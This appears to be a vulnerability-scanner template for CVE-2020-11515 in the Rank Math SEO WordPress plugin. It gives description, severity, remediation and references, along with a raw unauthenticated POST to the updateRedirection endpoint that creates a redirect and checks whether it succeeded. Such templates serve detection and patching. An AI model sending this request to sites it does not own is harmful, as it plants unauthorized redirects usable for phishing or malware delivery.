Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint

id: CVE-2020-11515

info:
  name: Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint
  author: s4e-io
  severity: medium
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
  impact: |
    Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites.
  remediation: |
    Update the Rank Math SEO plugin to version 1.0.41 or later.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11515
    cwe-id: CWE-601
    epss-score: 0.02501
    epss-percentile: 0.8484
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,redirect,seo-by-rank-math,wp-plugin,wp,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/rankmath/v1/updateRedirection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "redirectionUrl": "http://{{to_lower(rand_text_alpha(20))}}.{{to_lower(rand_text_alpha(5))}}",
          "redirectionSources": "/{{to_lower(rand_text_alpha(10))}}",
          "hasRedirect": "true"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "update","Redirection updated successfully.")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and